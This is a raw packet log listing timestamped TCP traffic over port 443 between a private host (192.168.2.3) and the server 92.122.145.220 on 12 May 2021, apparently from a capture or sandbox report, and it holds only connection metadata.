May 12, 2021 09:44:30.185077906 CEST	49699	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.187845945 CEST	443	49699	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.187891960 CEST	443	49699	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.187927961 CEST	49699	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.187957048 CEST	49699	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.190608025 CEST	443	49699	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.190654993 CEST	443	49699	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.190728903 CEST	49699	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.190756083 CEST	49699	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.193466902 CEST	443	49699	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.193552971 CEST	443	49699	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.193557024 CEST	49699	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.193624973 CEST	49699	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.196221113 CEST	443	49699	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.196278095 CEST	443	49699	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.196341991 CEST	49699	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.196365118 CEST	49699	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.198997021 CEST	443	49699	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.199021101 CEST	443	49699	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.199081898 CEST	49699	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.199109077 CEST	49699	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.201812983 CEST	443	49699	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.201837063 CEST	443	49699	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.201889038 CEST	49699	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.201915026 CEST	49699	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.204643011 CEST	443	49699	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.204665899 CEST	443	49699	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.204719067 CEST	49699	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.204741001 CEST	49699	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.207490921 CEST	443	49699	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.207530022 CEST	443	49699	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.207561016 CEST	49699	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.207586050 CEST	49699	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.210371971 CEST	443	49699	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.210395098 CEST	443	49699	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.210445881 CEST	49699	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.210470915 CEST	49699	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.213022947 CEST	443	49699	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.213057995 CEST	443	49699	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.213092089 CEST	49699	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.213118076 CEST	49699	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.233546019 CEST	443	49699	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.233680964 CEST	49699	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.234994888 CEST	443	49699	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.235028028 CEST	443	49699	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.235049963 CEST	49699	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.235099077 CEST	49699	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.237628937 CEST	443	49699	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.237668991 CEST	443	49699	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.237685919 CEST	49699	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.237735987 CEST	49699	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.240479946 CEST	443	49699	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.240511894 CEST	443	49699	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.240552902 CEST	49699	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.240581036 CEST	49699	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.243449926 CEST	443	49699	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.243521929 CEST	49699	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.243567944 CEST	443	49699	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.243623018 CEST	49699	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.245506048 CEST	443	49699	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.245536089 CEST	443	49699	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.245553017 CEST	49699	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.245577097 CEST	49699	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.248295069 CEST	443	49699	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.248325109 CEST	443	49699	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.248363018 CEST	49699	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.248375893 CEST	49699	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.251096964 CEST	443	49699	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.251122952 CEST	443	49699	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.251154900 CEST	49699	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.251179934 CEST	49699	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.253907919 CEST	443	49699	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.253937960 CEST	443	49699	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.253966093 CEST	49699	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.253993034 CEST	49699	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.256732941 CEST	443	49699	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.256758928 CEST	443	49699	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.256793022 CEST	49699	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.256813049 CEST	49699	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.259536028 CEST	443	49699	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.259572983 CEST	443	49699	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.259596109 CEST	49699	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.259618044 CEST	49699	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.262406111 CEST	443	49699	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.262454987 CEST	443	49699	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.262481928 CEST	49699	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.262511969 CEST	49699	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.265295982 CEST	443	49699	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.265372992 CEST	443	49699	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.265392065 CEST	49699	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.265431881 CEST	49699	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.268090010 CEST	443	49699	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.268156052 CEST	49699	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.268188953 CEST	443	49699	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.268229961 CEST	49699	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.270701885 CEST	443	49699	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.270778894 CEST	49699	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.270812035 CEST	443	49699	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.270864010 CEST	49699	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.273108006 CEST	443	49699	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.273170948 CEST	443	49699	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.273173094 CEST	49699	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.273219109 CEST	49699	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.275477886 CEST	443	49699	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.275509119 CEST	443	49699	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.275686026 CEST	49699	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.277714968 CEST	443	49699	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.277786970 CEST	443	49699	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.277790070 CEST	49699	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.277861118 CEST	49699	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.279963017 CEST	443	49699	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.279994011 CEST	443	49699	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.280062914 CEST	49699	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.282207012 CEST	443	49699	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.282236099 CEST	443	49699	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.282274008 CEST	49699	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.282321930 CEST	49699	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.284516096 CEST	443	49699	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.284542084 CEST	443	49699	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.284579992 CEST	49699	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.284614086 CEST	49699	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.543421984 CEST	49699	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.599520922 CEST	443	49699	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.599558115 CEST	443	49699	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.599664927 CEST	49699	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.600066900 CEST	443	49699	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.600094080 CEST	443	49699	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.600150108 CEST	49699	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.600197077 CEST	49699	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.601284981 CEST	443	49699	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.601313114 CEST	443	49699	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.601391077 CEST	49699	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.602561951 CEST	443	49699	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.602591991 CEST	443	49699	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.602624893 CEST	49699	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.602653027 CEST	49699	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.603740931 CEST	443	49699	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.603768110 CEST	443	49699	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.603811979 CEST	49699	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.603823900 CEST	49699	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.604962111 CEST	443	49699	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.604990959 CEST	443	49699	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.605046034 CEST	49699	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.605058908 CEST	49699	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.606154919 CEST	443	49699	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.606183052 CEST	443	49699	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.606230974 CEST	49699	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.606367111 CEST	49699	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.607362986 CEST	443	49699	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.607395887 CEST	443	49699	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.607419014 CEST	49699	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.607436895 CEST	49699	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.608591080 CEST	443	49699	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.608627081 CEST	443	49699	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.608647108 CEST	49699	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.608673096 CEST	49699	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.609790087 CEST	443	49699	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.609824896 CEST	443	49699	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.609849930 CEST	49699	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.609868050 CEST	49699	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.611027002 CEST	443	49699	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.611067057 CEST	443	49699	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.611093998 CEST	49699	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.611128092 CEST	49699	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.612251043 CEST	443	49699	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.612284899 CEST	443	49699	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.612310886 CEST	49699	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.612339973 CEST	49699	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.613521099 CEST	443	49699	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.613558054 CEST	443	49699	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.613611937 CEST	49699	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.614675999 CEST	443	49699	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.614712000 CEST	443	49699	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.614734888 CEST	49699	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.614777088 CEST	49699	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.615889072 CEST	443	49699	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.615957975 CEST	49699	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.650737047 CEST	49699	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.661264896 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.708148956 CEST	443	49699	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.708194017 CEST	443	49699	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.708292007 CEST	49699	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.708599091 CEST	443	49699	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.708645105 CEST	49699	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.708652973 CEST	49699	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.708699942 CEST	443	49699	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.708745003 CEST	49699	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.709911108 CEST	443	49699	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.709968090 CEST	49699	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.717891932 CEST	49698	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.718173027 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.718220949 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.718271017 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.718323946 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.719513893 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.719557047 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.719583035 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.719608068 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.722359896 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.722403049 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.722431898 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.722457886 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.725148916 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.725188971 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.725214958 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.725240946 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.738908052 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.777455091 CEST	443	49698	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.777488947 CEST	443	49698	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.777602911 CEST	49698	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.777630091 CEST	49698	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.778484106 CEST	443	49698	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.778583050 CEST	49698	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.795115948 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.795151949 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.795259953 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.796436071 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.796462059 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.796544075 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.799279928 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.799319983 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.799377918 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.799437046 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.802050114 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.802084923 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.802129984 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.802161932 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.804873943 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.804905891 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.804934978 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.804963112 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.807642937 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.807672977 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.807729006 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.810523987 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.810551882 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.810606956 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.810627937 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.813270092 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.813302040 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.813376904 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.813523054 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.816082954 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.816118002 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.816181898 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.816230059 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.818897009 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.818926096 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.818989038 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.819026947 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.821686029 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.821719885 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.821779013 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.821813107 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.824510098 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.824542046 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.824592113 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.824623108 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.839893103 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.896135092 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.896174908 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.896260977 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.896325111 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.897313118 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.897344112 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:30.897403955 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.897437096 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:30.963757992 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.021150112 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.021183968 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.021302938 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.021378994 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.022319078 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.022346020 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.022382021 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.022412062 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.024813890 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.024842024 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.024878025 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.024904966 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.027272940 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.027302980 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.027338982 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.027405977 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.029747009 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.029788971 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.029844999 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.029875040 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.032246113 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.032275915 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.032336950 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.032365084 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.034735918 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.034770012 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.034816027 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.034842014 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.037235975 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.037262917 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.037297010 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.037322998 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.039688110 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.039760113 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.155235052 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.208776951 CEST	49698	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.213268042 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.213303089 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.213426113 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.214468956 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.214502096 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.214566946 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.214610100 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.216983080 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.217012882 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.217070103 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.217086077 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.254097939 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.266891956 CEST	443	49698	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.266925097 CEST	443	49698	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.267159939 CEST	49698	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.267868996 CEST	443	49698	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.267898083 CEST	443	49698	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.267951965 CEST	49698	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.268008947 CEST	49698	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.270164013 CEST	443	49698	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.270196915 CEST	443	49698	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.270313025 CEST	49698	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.270361900 CEST	49698	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.272437096 CEST	443	49698	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.272470951 CEST	443	49698	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.272589922 CEST	49698	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.272636890 CEST	49698	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.274658918 CEST	443	49698	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.274692059 CEST	443	49698	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.274810076 CEST	49698	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.274857044 CEST	49698	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.276953936 CEST	443	49698	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.276983976 CEST	443	49698	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.277101040 CEST	49698	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.277148962 CEST	49698	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.279208899 CEST	443	49698	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.279232979 CEST	443	49698	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.279452085 CEST	49698	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.310342073 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.310394049 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.310476065 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.311502934 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.311546087 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.311548948 CEST	49700	443	192.168.2.3	92.122.145.220
